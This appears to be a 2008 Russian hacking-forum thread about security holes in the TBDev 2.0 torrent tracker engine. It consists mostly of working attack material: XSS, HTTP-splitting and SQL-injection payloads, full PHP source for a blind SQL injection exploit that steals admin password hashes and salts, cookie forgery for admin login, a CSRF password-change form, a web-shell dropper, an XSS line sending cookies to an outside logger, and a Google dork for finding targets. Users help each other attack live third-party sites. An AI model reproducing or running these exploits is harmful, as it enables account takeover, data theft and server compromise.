PDA

Просмотр полной версии : Трекер-движок TBDev 2.0


Страницы : [1] 2

Qwazar
05.08.2008, 06:55
Баги искал на, TBDev 2.0 Yuna Scatari Edition, подозреваю что в других редакциях они так-же работают:

Раскрытие пути, если не залогинен:confirm.php?id[]=
themes/TBDev/stdfoot.php
themes/TBDev/stdhead.php
themes/Gray/stdhead.php
delete.php
captcha.php если залогинен: thanks.php
votesview.php
takeedit.php
comment.php?action=quote&cid[]=XSShttp://site/offcomment.php?action=<script>alert(/XSS/)</script>XSS в POST-запросе: <form action="http://site/getrss.php" method="POST">
<input type="text" name="cat[1]" value="&lt;script&gt;alert(/XSS/)&lt;/script&gt;">
<input type="submit">
</form>
HTTP Splitting (требуются права модератора) <form action="http://site/comment.php?action=edit&cid=ID_комментария" method="POST">
<input type="text" name="returnto" value="%0d%0a%0d%0a&lt;script&gt;alert(document.cookie)&lt;/script&gt;">
<input type="text" name="text" value="any_text">
<input type="submit">
</form> Вместо "ID_комментария" надо подставить id реально существующего комментария. Так же эта бага позволяет отредиректить модератора на любой домен (проверки на то что адрес назначения находится на том-же домене, нет).

Ищется в гугле, как: "Powered by TBDev v2.0"

В общем, всё что нашёл сегодня, багов на порядок больше, но искал не оч. глубоко.

Qwazar
05.08.2008, 16:41
HTTP Splitting (простого пользователя достаточно):<form action="http://site/message.php?action=takemessage" method="POST">
<input type="text" name="receiver" value="1">
<input type="text" name="origmsg" value="1">
<input type="text" name="returnto" value="%0d%0a%0d%0a&lt;script&gt;alert(document.cookie)&lt;/script&gt;">
<input type="text" name="msg" value="msg">
<input type="text" name="subject" value="subject">
<input type="submit">
</form>
XSS в POST запросе (требуются права модератора): <form action="http://site/message.php?action=mass_pm" method="POST">
<input type="text" name="n_pms" value="&lt;script&gt;alert(/XSS1/)&lt;/script&gt;">
<input type="text" name="pmees" value="&lt;script&gt;alert(/XSS2/)&lt;/script&gt;">
<input type="submit">
</form>
Там же, XSS в Referer(требуются права модератора)Referer: ><script>alert(/Hi/)</script>SQL Inj(требуются права модератора)<form action="http://site/nowarn.php" method="POST">
<input type="text" name="nowarned" value="nowarned">
<input type="text" name="usernw[]" value="SQL">
<input type="submit">
</form> Запрос: SELECT modcomment FROM users WHERE id IN (SQL)


Blind SQL Inj(требуются права модератора)<form action="http://site/nowarn.php" method="POST">
<input type="text" name="nowarned" value="nowarned">
<input type="text" name="usernw[]" value="1">
<input type="text" name="desact[]" value="SQL">
<input type="submit">
</form> Запрос: UPDATE users SET enabled='no' WHERE id IN (SQL)

Qwazar
05.08.2008, 18:22
SQL Injhttp://site/requests.php?action=reset&requestid=sql'Запрос: SELECT userid, filledby FROM requests WHERE id =sql'

SQL Injhttp://site/requests.php?action=reset&requestid=sql'Запрос: SELECT userid, filledby FROM requests WHERE id =sql'

SQL Inj:
POST: http://site/requests.php
action=edit&category=1&id=SQL Запрос: UPDATE requests SET cat=1, request='', descr='' WHERE id=SQL

Blind SQL Inj:
POST: http://site/offers.php
action=edit&id=SQL
Запрос: UPDATE offers SET category='', name='', descr='' WHERE id=SQL

SQL Inj (требуются права модератора):
POST: http://site/offers.php
deloffer=SQL Запрос: DELETE FROM offers WHERE id = SQL

XSShttp://site/viewrequests.php?category=><script>alert(/XSS/)</script>
XSS(требуются права модератора)http://site/staffmess.php?returnto=><script>alert(/XSS/)</script>XSS in Referer:
http://site/offcomment.php?action=edit&cid=3
Referer: ><script>alert(/XSS/)</script>http://site/offcomment.php?action=vieworiginal&cid=3
Referer: ""><script>alert(/XSS/)</script>
HTTP Splitting (требуются права модератора):
http://site/offcomment.php?action=delete&cid=1&sure=1&returnto=<script>alert(document.cookie)</script>POST:http://site/offcomment.php?action=edit&cid=3
msg=msg&returnto=value


З.Ы.
Сори за неупорядоченность, постил по мере нахождения. Кстати, теперь по Powered by TBDev на второй строчке гугла находится античат :D

Qwazar
07.08.2008, 20:47
TBDev v2.0 Blind SQL Injection Exploit
http://site/requests.php?action=reset&requestid=sql'Иньекция оказалось слепой, но с выводом ошибки поэтому использовал следующий запрос:/requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+passhash+from+u sers+where+id=1),1,1))=[CHARCODE],'1',(select+1+union+select+2))+--+Для запуска требуется логин/пароль любого зарегистрированного пользователя, кукисы сплоит запросит самостоятельно.

Результат работы - hash, salt. hash закодирован как: md5($salt.$pass.$salt);

Запускать так: tbdev2sql.php url target_id login passwordНапример tbdev2sql.php http://www.site.com/ 1 Vasya Pupkin

Собственно код:
<?

//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru

set_time_limit(0);
ignore_user_abort(1);

function getcookie($url, $name, $password){
$res = send_xpl($url,"takelogin.php?username=$name&password=$password");
preg_match("/Set-Cookie: uid=(\d+)*;/", $res, $matches);
$uid=$matches[1];
preg_match("/Set-Cookie: pass=([\w+\d+]{32});/", $res, $matches);
$passhash=$matches[1];
$res = "uid=$uid; pass=$passhash;";
if(isset($uid)&&isset($passhash))
return $res;
else
return -1;
}

function send_xpl($url, $xpl){
global $id;
global $cookie;
$u=parse_url($url);
$req ="GET ".$u['path']."$xpl HTTP/1.1\r\n";
$req.="Host: ".$u['host']."\r\n";
$req.="Cookie: $cookie\r\n";
$req.="Connection: Close\r\n\r\n";
$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
fwrite($fs, $req);
while (!feof($fs)) {
$res .= fread($fs, 8192);
}
fclose($fs);
return $res;
}

function xpl($field ,$condition, $pos){
global $id;
$xpl="requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+$field+from+use rs+where+id=$id),$pos,1))$condition,'1',(select+1+ union+select+2))+--+";
return $xpl;
}

if($argc<4)
{
echo "==================\r\n";
echo "Using tbdev2sql.php url target_id login password\r\n target_id - id of target member\r\n login, password - login and password of any existing account\r\n\r\n\r\nEx.: tbdev2sql.php http://www.site.com/ 1 Alex Password\r\n";
echo "==================\r\n";
die();
}

$url=$argv[1];
$id=$argv[2];
$name=$argv[3];
$password=$argv[4];

echo $url.":".$name.":".$password."\r\n";

echo "Trying to get your cookies... ";
$cookie = getcookie($url, $name, $password);
if($cookie!=-1)
echo "[DONE]\r\n";
else
die("Can't get cookies.. Pass incorrect?\r\n");

echo "Trying to get passhash: ";
//get md5 pass
for($i=1;$i<=32;$i++){
$flag = 0;
for($j=48;$j<=57;$j++){
if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash",'='.$j,$i)))){ $pass.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
else {if($j!=48) {echo chr(8);} echo chr($j);}
}
if($flag!=1) {
for($j=97;$j<=102;$j++){
if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash",'='.$j,$i)))){ $pass.=chr($j); echo chr(8).chr($j); $flag=1; break; }
else {echo chr(8).chr($j);}
}
}
if (!$flag)
die("\r\nExploit failed\r\n");
}

echo " [DONE]\r\n";

echo "Trying to get salt: ";
//get secret (20 characters 1-9a-Z)
for($i=1;$i<=20;$i++){
$flag = 0;
for($j=49;$j<=57;$j++){
if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); if($j!=49) {echo chr(8);} echo chr($j); $flag=1; break; }
else {if($j!=49) {echo chr(8);} echo chr($j);}
}
if($flag!=1) {
for($j=65;$j<=90;$j++){
if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
else {echo chr(8).chr($j);}
}
}
if($flag!=1) {
for($j=97;$j<=122;$j++){
if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
else {echo chr(8).chr($j);}
}
}
if (!$flag)
die("\r\nExploit failed\r\n");
}
echo " [DONE]\r\n";


?>

Скачать можно тут: скачать файл (http://www.x2b.ru/get/1150)

OMG!!
12.08.2008, 20:12
/requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+passhash+from+u sers+where+id=1),1,1))=[CHARCODE],'1',(select+1+union+select+2))+--+

SQL ругается.. но иньекция не проходит. в чаркод что писать?.. кодировку базы? о_0

tbdev2sql.php url target_id login password

За скрипт спасибо, залил на хост юзаю.. http://myhost/tbdev2sql.php http://target/ 1 вася парольваси
и апач говорит тут же, что не найден этот файл.. ммм. может я не так что-то делаю? :) ++

Qwazar
13.08.2008, 02:38
/requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+passhash+from+u sers+where+id=1),1,1))=[CHARCODE],'1',(select+1+union+select+2))+--+

SQL ругается.. но иньекция не проходит. в чаркод что писать?.. кодировку базы? о_0 Чаркод - код символа, если символ находится на данной позиции, то ошибке не будет, если не находится - выдаст ошибку "Subquery returns" чтото там.

Для passhash это числа от 48 до 57 включительно (0-9) и от 97 до 102 включительно (a-f).

Позиция проверяемого символа задаётся в этом кусочке запроса:(select+passhash+from+u sers+where+id=1),[POS],1)
Вместо [POS], для passhash подставляй цифры от 1 до 32.

Если хочешь получить соль, то вместо "passhash" подставь "secret" и диапазоны pos - 1-20, charcode - 49-57,65-90,97-122 (включительно). Соль - 20 символов [1-9,a-Z]


За скрипт спасибо, залил на хост юзаю..

http://myhost/tbdev2sql.php http://target/ 1 вася парольваси

и апач говорит тут же, что не найден этот файл.. ммм. может я не так что-то делаю? :) ++ UPD: Блин, неправильно тебя понял. В общем его надо запускать из командной строки! А не из браузера.


P.S.
А вообще посмотри сплоит, код очень прост для понимания.

Nightmarе
16.08.2008, 12:24
Ещё одно раскрытие пути обнаружил:
details.php?id[]=

Qwazar
17.08.2008, 05:04
Ещё XSS, требуются права модератора:http://site/stats.php?uporder="><script>alert(/XSS/)</script>
http://site/usersearch.php?r="><script>alert(/XSS/)</script>Для usersearch.php уязвимы параметры r,n,co,dl2,ls2,ul2,ls,d,em,ul,r2,dl,ma,ip,d2

OMG!!
06.09.2008, 19:13
Qwazar, а как подставить куки в эксплоит.. я юзаю его на VDS. У себя дома с поддержкой CLI запустить не вышло.. зато на VDS по ssh пошло, как по маслу.. как подменить куки? +++

Qwazar
06.09.2008, 20:49
Qwazar, а как подставить куки в эксплоит.. я юзаю его на VDS. У себя дома с поддержкой CLI запустить не вышло.. зато на VDS по ssh пошло, как по маслу.. как подменить куки? +++ Ну вообще он при запуске требует логин/пароль и сам запрашивает куки.

Но если очень хочется, можешь эту строку$cookie = getcookie($url, $name, $password); заменить на $cookie = "А СЮДА ВСЁ ЧТО ХОЧЕШЬ"

OMG!!
06.09.2008, 21:58
Запустил..

Trying to get your cookies... [DONE]
Trying to get passhash: b51f02706ed3113b1b533f4f16282747 [DONE]
Trying to get salt: lz
Exploit failed


соль не подбирает.. значит дырку прикрыли? может существуют методы?

Qwazar
07.09.2008, 04:51
Запустил..

Trying to get your cookies... [DONE]
Trying to get passhash: b51f02706ed3113b1b533f4f16282747 [DONE]
Trying to get salt: lz
Exploit failed


соль не подбирает.. значит дырку прикрыли? может существуют методы?
Нет, дырку не прикрыли, видимо просто на 3м символе соли сервер перестал отвечать. Тут есть 2 варианта:
1) Переписать сплоит так, чтобы использовался бинарный поиск (так уменьшится количество запросов)
2) Удалить всё между echo "Trying to get passhash: "; и echo "Trying to get salt: "; и подбирать только соль, так же можно в оставшемся цикле подкручивать начальное значение $i, в твоём случае можно поставить $i=2 , т.к. первый символ соли ты подобрал.

OMG!!
07.09.2008, 14:16
Qwazar, я удалял цикл получения хеша.. толку мало, все равно lz и дальше не идет..( z - не успел перебрать.. только один символ значит. ) Пробовал менять значение $i= на 2-ю букву.. 3-ю... и т.д. в обоих случаях получаю :

Trying to get your cookies... [DONE]
Trying to get passhash: Trying to get salt: z
Exploit failed

1) Переписать сплоит так, чтобы использовался бинарный поиск (так уменьшится количество запросов)
как? :D ++++

Qwazar
08.09.2008, 12:40
Хмм.. Возможно у тебя чуть другая версия TBDev, тогда может у тебя соль не [1-9,a-Z], а [0-9,a-Z]. Попробуй в том цикле, где ищется соль, поменятьfor($j=49;$j<=57;$j++){наfor($j=48;$j<=57;$j++){.

OMG!!
08.09.2008, 16:52
Хмм.. Возможно у тебя чуть другая версия TBDev, тогда может у тебя соль не [1-9,a-Z], а [0-9,a-Z]. Попробуй в том цикле, где ищется соль, поменятьfor($j=49;$j<=57;$j++){наfor($j=48;$j<=57;$j++){.
Попробовал.. как результат:

Trying to get your cookies... [DONE]
Trying to get passhash: 18a21e8e877feb58b5073b9b838b8db2 [DONE]
Trying to get salt:0z
Exploit failed

И на другой ID атака.. :

Trying to get your cookies... [DONE]
Trying to get passhash: b51f02706ed3113b1b533f4f16282747 [DONE]
Trying to get salt:00z
Exploit failed

Версия 2.0 вроде ) хеш же тащит..как вытащить соль?)) :p


все-таки с солью что-то не то.. как я поменял алгоритм ( с нуля поиск ) то теперь в соли первые нули.. а тогда, когда эксплоитил без изменений - соль была слегка другой ( первый символ )

Qwazar
08.09.2008, 18:51
Замени кусок с солью, на:

echo "Trying to get salt: ";
//get secret (20 characters 1-9a-Z)
for($i=1;$i<=20;$i++){
$flag = 0;
for($j=48;$j<=57;$j++){
if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
else {if($j!=48) {echo chr(8);} echo chr($j);}
}
if($flag!=1) {
for($j=65;$j<=90;$j++){
if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
else {echo chr(8).chr($j);}
}
}
if($flag!=1) {
for($j=97;$j<=122;$j++){
if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
else {echo chr(8).chr($j);}
}
}
if (!$flag)
die("\r\nExploit failed\r\n");
}
echo " [DONE]\r\n"; Если и это не поможет, поиграй с диапазонами во внутренних циклах, возможно в соли встречаются какието другие символы, ещё возможно то что она короче. Хз почему так, может какой мод установлен. На родном TBDev2 всё пашет на ура.Можно поподробнее?И желательно совсем подробно.А лучше видио. Подробнее - нет, т.к. считаю это неправильным. Если ты встречался с перлом, то проблем php у тебя не вызовет. Почитай статьи, покопайся для начала сам.

Qwazar
20.09.2008, 01:24
Прошу прощения за то что долго не отвечал :)

Новая версия сплоента, использует бинарный поиск (что делает его предпочтительнее прошлого варианта ввиду логарифмической сложности поиска, а значит и меньшем количестве запросов к серверу, во время атаки), так-же перед атакой проверяет уязвима ли цель. Поиск по соли идёт теперь в диапазоне от 0 до 255, т.к. есть данные, что соль в разных версиях (или с какими нибудь модами) генерится по разному.

<?

//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru

set_time_limit(0);
ignore_user_abort(1);
Error_Reporting(E_ALL & ~E_NOTICE);

function getcookie($url, $name, $password){
$res = send_xpl($url,"takelogin.php?username=$name&password=$password");
preg_match("/Set-Cookie: uid=(\d+)*;/", $res, $matches);
$uid=$matches[1];
preg_match("/Set-Cookie: pass=([\w+\d+]{32});/", $res, $matches);
$passhash=$matches[1];
$res = "uid=$uid; pass=$passhash;";
if(isset($uid)&&isset($passhash))
return $res;
else
return -1;
}

function send_xpl($url, $xpl){
global $id;
global $cookie;
$u=parse_url($url);
$req ="GET ".$u['path']."$xpl HTTP/1.1\r\n";
$req.="Host: ".$u['host']."\r\n";
$req.="Cookie: $cookie\r\n";
$req.="Connection: Close\r\n\r\n";
$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
fwrite($fs, $req);
while (!feof($fs)) {
$res .= fread($fs, 8192);
}
fclose($fs);
return $res;
}

function xpl($field, $condition, $pos){
global $id;
$xpl="requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+$field+from+use rs+where+id=$id),$pos,1))$condition,'1',(select+1+ union+select+2))+--+";
return $xpl;
}

function cond($url, $field, $cond, $pos, $ch) {
if(!preg_match('/Subquery returns/', send_xpl($url, xpl($field,$cond.$ch,$pos))))
return 1;
else
return 0;

}

function isVulnerable($url) {
if(preg_match('/Subquery returns/', send_xpl($url, xpl("passhash","=-1",1))))
return 1;
else
return 2;
}

function getChar($url, $field, $pos, $lb=0, $ub=255) {
while(true) {
$M = floor($lb + ($ub-$lb)/2);
if(cond($url, $field, '<', $pos, $M)==1) {
$ub = $M - 1;
}
else if(cond($url, $field, '>', $pos, $M)==1) {
$lb = $M + 1;
}
else
return chr($M);
if($lb > $ub)
return -1;
}
}

if($argc<4)
{
echo "==================\r\n";
echo "Using tbdev2sql.php url target_id login password\r\n target_id - id of target member\r\n login, password - login and password of any existing account\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1 Alex Password\r\n";
echo "==================\r\n";
die();
}

$url=$argv[1];
$id=$argv[2];
$name=$argv[3];
$password=$argv[4];

echo $url.":".$name.":".$password."\r\n";

echo "Trying to get your cookies... ";
$cookie = getcookie($url, $name, $password);
if($cookie!=-1)
echo "[DONE]\r\n";
else
die("Can't get cookies.. Pass incorrect?\r\n");

if(!isVulnerable($url))
die("Exploit failed: Target is not vulnerable");

echo "Trying to get passhash: ";
for($i=1;$i<=32;$i++){
$c = getChar($url, "passhash", $i, 47, 103);
if($c==-1)
die("\r\nExploit failed\r\n");
else
echo $c;
}
echo " [DONE]\r\n";

echo "Trying to get salt: ";
for($i=1;$i<=20;$i++){
$c = getChar($url, "secret", $i);
if($c==-1)
die("\r\nExploit failed\r\n");
else
echo $c;
}
echo " [DONE]\r\n";


?>

Скачать можно тут: http://www.x2b.ru/get/3447

Как защититься, читаем тут: https://forum.antichat.ru/thread30641.html

Не забыть и про остальные файлы кроме requests.php, двиг дырявый, я вполне мог чтото и просмотреть.

З.Ы.
Да и вообще хозяйке на заметку - бинарный поиск вечно рулит, незачем писать перебор в лоб и слать по 16 запросов, на каждый символ, особенно критично если сплоент на бенчмарке.

Red Virus
24.09.2008, 00:15
[akep']Trying to get passhash: 4537fe63957cb67a4921ad56bdef5295 [DONE]
Trying to get salt: XiWVDJOsy4nSdjw2Iupr [DONE]
Вроде все норм прощло Только что с солью?

P.S. Если кто расхешыт кинте плз в пм с мну +++


вставь пас хеш в куки и будет тебе счастье :)

Qwazar
24.09.2008, 01:03
[akep']Вроде все норм прощло Только что с солью?

А что не так с солью?

Как я уже писал:
Результат работы - hash, salt. hash закодирован как: md5($salt.$pass.$salt);

Соль - 20 символов.

DJ ][akep
24.09.2008, 16:28
вставь пас хеш в куки и будет тебе счастье :)
Непойму строение кукисов
Что первое
mybbuser=3306_iIXAPC6fB3d7CqTrVbEg5kpw7Lt3aMCIv2JG 8HLAep9GAtyWu6

Объясни что сюда нужно править т.к. я в
pass - правил добытый експлоитом хэш
а в
uid поставил 1 (типо админа)
Но что в первом я непонял :(

Qwazar
25.09.2008, 02:09
У меня:
Cookie:
uid=2; pass=13b5c2e3dc4472ed1d28dfe3f6649ffe; mybbuser=2_WoFEnvzPlYkFEqbT2cYZef8HbAl1ElldsmX9617 7j7x9HMPQ3N Жирным выделил то, что нужно поменять на passhash + не забудь uid сменить на 1. НА mybb* - забей, это для форума, сплоит эти поля не достаёт.

DJ ][akep
25.09.2008, 12:29
Спасибо все получилось.
Еще вопрос.
Реально с админки шел залить?

slider
25.09.2008, 16:57
как вариант ... конечно ... заифреймить админу такую HTML -ку

<body onload="p.submit()">
<form action="http://megalife.kz/torrent/admincp.php?op=iUsers" method="post" id="p">
<input type=hidden name="iname" value="ИМЯ_АДМИНА">
<input type=hidden name="ipass" value="НОВЫЙ_ПАРОЛЬ">
<input type=hidden name="imail" value="МАЙЛ_АДМИНА@mail.ru">
<input type=hidden name="isub" value="%D1%E4%E5%EB%E0%F2%FC">
<input type=hidden name="op" value="iUsers">

Как вы уже все поняли ... это сменит пароль нужному нам пользователю.... проявите немного фантазии и дело за малым ;)

Uname-A
03.11.2008, 13:07
C:\php>php.exe sql.php http://adrez/ 1 123123123 123123
http://adrez/:123123123:123123
Trying to get your cookies... [DONE]
Trying to get passhash:
Exploit failed

Пробывал сайтах на 5 везде одно и тоже .. Кто может помоч?

n-000
10.11.2008, 02:02
C:\php>php.exe sql.php http://adrez/ 1 123123123 123123
http://adrez/:123123123:123123
Trying to get your cookies... [DONE]
Trying to get passhash:
Exploit failed

Пробывал сайтах на 5 везде одно и тоже .. Кто может помоч?

Я попробую тебе помоч -))
измени target_id с 1 на 3 или 4 или 10 ... вопщем посмотри id админа сначало и ставь его туда ...
Т.к при установке этого движка в базу прописываеца не 1 ... у меня на локалхосте он равнялся 3

Витян
21.11.2008, 13:02
сделал видео _http://letitbit.net/download/262433962218/qwazar-sploit.rar.html
_http://rapidshare.com/files/165895736/qwazar_sploit.rar.html

Чтобы небыло вопросов, php из видео скачан отсюда _http://php.ru/download/php-5.2.1-Win32.zip

злойдядька
23.11.2008, 23:43
активные XSS в полях Email, Имя в AIM, Ваш MSN, Имя в Yahoo!, Имя в mIRC!, Сайт.
Все работает если вводить при реге, если редактировать после реги, работать не будет.
В поле Email скуля, тоесть при реге вводим мыло вида ' group by 100/*@blablabla.ru
выдает что количество колонок не верное.
Пример получения хеша админа:
в поле имейл пишем :' union select passhash from users where id=1 into outfile '../../../usr/local/www/torrent/torrents/images/1.txt'/* -- @ukrnet.ua

по адрессу h**p://сайт/torrents/images/1.txt смотрим хеш юзера с id=1
пассивная хss www.site.ru/redir.php?url='><script>alert(/xak/)</script>

Qwazar
05.12.2008, 00:50
Сплоит для TBDev 2.0. , от паблик версии отличается тем, что пытается залить шелл на сервер, помимо поиска пасса/соли. Если шелл залить не удаётся, значит вместо RFI прийдётся использовать LFI, или на сервере не работает функция file_put_contents, которую вполне можно заменить на обычный fopen/fwrite.

LFI/RFI в админке используя параметр admincp.php?rootpath=.

Если register_globals ON, то LFI/RFI доступны и не из админки, а из index.php, тот же параметр.

Читайте комментарии к сплоиту, для заливки шелла, нужно положить код <?php
file_put_contents("torrents/.htaccess", "");
file_put_contents("torrents/shell.php", "<? system(\$_GET['cmd']) ?>");
?> В файл доступный для чтения, на вашем сервере и прописать путь к нему в переменной $uploader.

Так же сплоит может просто вытащить хеш, соль не закачивая шелл. Используется алгоритм бинарного поиска, так что запросов шлётся относительно немного, для слепой скули. (максимум 4 запроса на символ, вместо стабильно 16 при полном переборе, т.е. работает минимум в 4 раза быстрее, чем при полном переборе. И вообще для всех сплоитов со слепыми скулями, использующих BENCHMARK или перебор имён таблиц, стоит использовать алгоритм бинарного поиска, так быстрее)

P.S.
В каталоге 'admin' вообще лежит файлик (core.php) следующего содержания: $op = (!isset($_REQUEST['op'])) ? "Main" : $_REQUEST['op'];

foreach ($_GET as $key => $value)
$GLOBALS[$key] = $value;
foreach ($_POST as $key => $value)
$GLOBALS[$key] = $value;
foreach ($_COOKIE as $key => $value)
$GLOBALS[$key] = $value; Этот файл инклудится в admin.php .

Dork:"Powered by TBDev v2.0"

Качать тут: http://www.x2b.ru/get/14887

pacan4ik
08.12.2008, 23:00
Can't create/write to file '..\..\..\usr\local\www\torrent\torrents\images\1. txt' (Errcode: 2)

Red Virus
09.12.2008, 14:31
Запрос в поле майл делаю правильно новсе время вылетает ошибка

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/* -- @uspp.ru'' at line 1

хотя на локальной машине все робит на ура вчем проблема может быть ?

aka PSIH
09.12.2008, 16:08
Ты уверен что у тебя прав хватает?
Errcode 2 означает что папка не существует(т.е путь не правильный)... ;)
Если прав не хватает то Errcode 13
;)
special for roa :p

Dimazzan
09.12.2008, 16:21
Помогите с проблемой You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/* -- @mail.ru'' at line 1

DIMON4G
09.12.2008, 22:46
сделал видео _http://letitbit.net/download/262433962218/qwazar-sploit.rar.html
_http://rapidshare.com/files/165895736/qwazar_sploit.rar.html

Чтобы небыло вопросов, php из видео скачан отсюда _http://php.ru/download/php-5.2.1-Win32.zip
выложи видео пожалуйста на депоситфайлс.

Витян
10.12.2008, 00:00
http://depositfiles.com/files/w2ggoxnsd

DIMON4G
10.12.2008, 17:08
Витян эх, данное чудо уже не работает ((( больше никаких уязвимостей не знаешь (приват) :) ?

DIMON4G
10.12.2008, 17:12
C:\php>php.exe sql.php http://adrez/ 1 123123123 123123
http://adrez/:123123123:123123
Trying to get your cookies... [DONE]
Trying to get passhash:
Exploit failed

Пробывал сайтах на 5 везде одно и тоже .. Кто может помоч?
+1 также, мож это всё лажа.... :(

Qwazar
10.12.2008, 17:35
+1 также, мож это всё лажа.... :( Ну дык, сколько времени уже прошло, на сайте разработчика уже исправления для этой баги выложили.

Dimazzan
10.12.2008, 18:14
в поле имейл пишем :' union select passhash from users where id=1 into outfile '../../../usr/local/www/torrent/torrents/images/1.txt'/* -- @ukrnet.ua

по адрессу h**p://сайт/torrents/images/1.txt смотрим хеш юзера с id=1

Эта штука не пашет!!!

Dimazzan
10.12.2008, 18:15
+1 также, мож это всё лажа....
Эта штука еще актуально на Sky-Tracker

http://www.google.ru/search?hl=ru&q=Powered+by+Sky-Tracker&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+Google&lr=

holden321
13.12.2008, 17:13
подскажите, зайдя на сайт как админ или сисоп я могу изменить файлы движковые или записать новые? хотябы в принципе это возможно или нет?
Sky-Tracker

Red Virus
15.12.2008, 02:31
подскажите, зайдя на сайт как админ или сисоп я могу изменить файлы движковые или записать новые? хотябы в принципе это возможно или нет?
Sky-Tracker

можно ... залить шел

holden321
15.12.2008, 15:01
я понимаю что залить шел, но залить шел админ может ?))

Uname-A
15.12.2008, 16:26
Ваще самый лучший способ залить шелл это создать пихапе блок с формочкой загрузки файла Я так и заливал шелл

Elenberg
18.12.2008, 00:51
Плизз нид хелп!
на висте х64 неудается запустить скрипт by Qwazar, вместо выполнения просто выдается содержимое файла.
Пхп тот что нужно
PHP 5.2.1 (cli) (built: Feb 7 2007 23:11:26)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies

Если кто занет в чем может быть причина, подскажите плизз. :(

Витян
18.12.2008, 01:43
нармальные патсаны юзают vmware с xp sp2 и не знают проблем)

Elenberg
18.12.2008, 02:38
vmware с xp sp2 непомог, так же просто выдается содержимое файла(((

OMG!!
18.12.2008, 22:57
Qwazar, обьясни пожалуйста, как закрыть эти дыры ( защититься от сплойта.. раскрытия путей и т.д. ) +. ;)

Qwazar
19.12.2008, 12:06
На офиц. сайте http://bit-torrent.kiev.ua/ на форуме есть заплатки для этих уязвимостей ;)

_Sniper_
19.12.2008, 16:10
Скажите как залить шелл через блоки? А то почитал всю тему..Ничего не понял.

OMG!!
19.12.2008, 16:24
_Sniper_, как как.. легко ) Админка - Блоки - добавить файловый блок. указываешь тип PHP потом в поле тупо вставляешь код шела ( лучше криптованного ). и потом юзаешь по ссылке _http://targetsite/tracker/blocks/shall-block.php или block-shall.php не помню )

Qwazar
19.12.2008, 20:23
Qwazar, там оленизмом страдает народ.. я в чате написал, друзья .. как залатать дыры от этих багов, и ссылку на ачат кинул.. в итоге словил бан с ризоном " в чате помощи не просят" :) зафига тогда чат.. оффтоп. вообщем, спасибо.. буду искать Ну у них же там на главной написано :)

Вот, в общем, топик где были предложены их исправления. Имхо нифига не элегантно и порой избыточно, но: http://bit-torrent.kiev.ua/bnovlenie_bezopasnosti-t3319/index.html?t=3319

Arigona
20.12.2008, 16:51
У меня при использовании сполйта пишет что неверные куки, pass incorect, хотя всё правильно. ЧТо не так?

DREASTY
20.12.2008, 17:04
Arigona
Посмотри чтоб в конце адресса был слеш!
http://target.com/ 1 bla bla
у меня именно в слеше была проблема!

Arigona
20.12.2008, 17:15
Тоже самое :(

Trying to get your cookies... Can't get cookies.. Pass incorrect?

злойдядька
20.12.2008, 17:53
Эта штука не пашет!!!
все прекрасно пашет, читай ман по SQL, разве не видиш что ругается на синтаксис ? значит скуля есть, тоько ты пишеш не правельно! Вообщем патч хендс

з.ы. если прочтеш внимательно мой пост с багой то там написано ПРИМЕР, тоесть это пример конкретно для сайта на котором это проделывал я, у вас и версия SQL может быть другая и путь другой, как найти путь написано в этой же теме, поэтому если у вас не хватает знаний чтобы заюзать багу, то не нужно кричать что она не пашет!

Arigona
20.12.2008, 19:36
А вот у меня сломало и соль, для чего она и как её использовать?

baltazar
20.12.2008, 22:04
В настройках профиля во вкладке аватар можно реализовать XSS:

http://host.org/1.jpg onload= location.href='http://host.org/log.php?c='+document.cookie;//

Arigona
21.12.2008, 09:44
Qwazar, понял.

А возможно реализовть сплоит под другую sql уязвимость? У многих нет requests.php просто..

вот раскрытый путь обнаружил:


details.php?id[]=

мне кажеться тут что-то скрывается :)

Arigona
21.12.2008, 11:13
baltazar, как?

ВОт если я пользуюсь снифером na-s.ru

http://google/1.jpg onload= location.href='http://na-s.ru/limage.jpg?c='+document.cookie;//



Правильно?

Arigona
21.12.2008, 16:11
Как можно загрузить шелл имея админа? Реально такое?

s_p_a_m
21.12.2008, 22:09
через админку, создеш блок и вписываеш туда код шелла

Arigona
22.12.2008, 00:16
Нет, при добавлении блока он ещё своё добавляет :(

Uname-A
23.12.2008, 14:50
$self = $_SERVER['PHP_SELF'];
$docr = $_SERVER['DOCUMENT_ROOT'];
$sern = $_SERVER['SERVER_NAME'];
$tend = "</tr></form></table><br><br><br><br>";
if (!empty($_GET['ac'])) {$ac = $_GET['ac'];}
elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];}
else {$ac = "upload";}
switch($ac) {
case "upload":
echo <<<HTML
<table>
